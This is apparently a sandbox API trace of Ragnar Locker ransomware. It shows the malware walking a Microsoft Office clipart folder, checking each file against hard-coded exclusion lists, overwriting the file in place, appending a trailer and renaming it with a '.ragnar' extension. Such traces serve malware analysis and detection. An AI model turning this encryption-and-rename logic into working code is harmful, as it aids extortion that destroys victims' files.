WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9456, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9456, lpOverlapped=0x0) returned 1 [0080.829] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9456, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.829] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.830] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9456, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.830] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.830] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.830] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.830] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.830] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.830] GetProcessHeap () returned 0x580000 [0080.830] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.830] CloseHandle (hObject=0xf4) returned 1 [0080.830] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" [0080.830] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.ragnar_FD7BD9FC" [0080.830] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0080.831] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.831] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00297_.WMF" | out: lpString1="DD00297_.WMF") returned="DD00297_.WMF" [0080.831] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned=".WMF" [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="autorun.inf") returned 1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="boot.ini") returned 1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="bootfont.bin") returned 1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="bootsect.bak") returned 1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="bootmgr") returned 1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="bootmgr.efi") returned 1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="desktop.ini") returned -1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="iconcache.db") returned -1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="ntldr") returned -1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="ntuser.dat") returned -1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="ntuser.ini") returned -1 [0080.831] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="thumbs.db") returned -1 [0080.831] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.831] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.831] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.831] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.831] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.882] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.882] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0080.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.882] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40030) returned 1 [0080.883] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9c55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.883] GetProcessHeap () returned 0x580000 [0080.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.883] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.884] VirtualAlloc (lpAddress=0x0, dwSize=0x9c5e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.884] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.884] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.884] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9c5e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9c5e, lpOverlapped=0x0) returned 1 [0080.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.975] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9c5e, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.975] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9c5e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9c5e, lpOverlapped=0x0) returned 1 [0080.975] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9c5e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.975] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.013] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9c5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.013] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.013] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.016] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.016] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.016] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.016] GetProcessHeap () returned 0x580000 [0081.016] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.016] CloseHandle (hObject=0xf4) returned 1 [0081.016] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" [0081.016] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.ragnar_FD7BD9FC" [0081.016] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.017] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0081.017] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.017] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00372_.WMF" | out: lpString1="DD00372_.WMF") returned="DD00372_.WMF" [0081.017] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned=".WMF" [0081.017] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.017] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="autorun.inf") returned 1 [0081.017] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="boot.ini") returned 1 [0081.017] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="bootfont.bin") returned 1 [0081.017] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="bootsect.bak") returned 1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="bootmgr") returned 1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="bootmgr.efi") returned 1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="desktop.ini") returned -1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="iconcache.db") returned -1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="ntldr") returned -1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="ntuser.dat") returned -1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="ntuser.ini") returned -1 [0081.018] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="thumbs.db") returned -1 [0081.018] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.018] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.018] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.018] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.018] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.018] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.018] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0081.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.027] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=792) returned 1 [0081.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.027] GetProcessHeap () returned 0x580000 [0081.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.029] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.075] VirtualAlloc (lpAddress=0x0, dwSize=0x318, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.076] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x318, lpOverlapped=0x0) returned 1 [0081.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.076] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x318, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.076] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x318, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x318, lpOverlapped=0x0) returned 1 [0081.076] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.076] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.076] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.077] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.077] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.077] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.077] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.077] GetProcessHeap () returned 0x580000 [0081.077] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.077] CloseHandle (hObject=0xf4) returned 1 [0081.077] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" [0081.077] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.ragnar_FD7BD9FC" [0081.077] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.078] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0081.078] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.078] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00405_.WMF" | out: lpString1="DD00405_.WMF") returned="DD00405_.WMF" [0081.078] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned=".WMF" [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="autorun.inf") returned 1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="boot.ini") returned 1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="bootfont.bin") returned 1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="bootsect.bak") returned 1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="bootmgr") returned 1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="bootmgr.efi") returned 1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="desktop.ini") returned -1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="iconcache.db") returned -1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="ntldr") returned -1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="ntuser.dat") returned -1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="ntuser.ini") returned -1 [0081.078] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="thumbs.db") returned -1 [0081.078] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.079] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.079] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.079] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.079] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.079] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.079] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0081.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.079] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17584) returned 1 [0081.079] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x44a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.079] GetProcessHeap () returned 0x580000 [0081.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.079] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.081] VirtualAlloc (lpAddress=0x0, dwSize=0x44b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.081] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.081] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.081] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x44b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x44b0, lpOverlapped=0x0) returned 1 [0081.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.083] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.083] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x44b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x44b0, lpOverlapped=0x0) returned 1 [0081.083] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.083] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x44b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.083] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 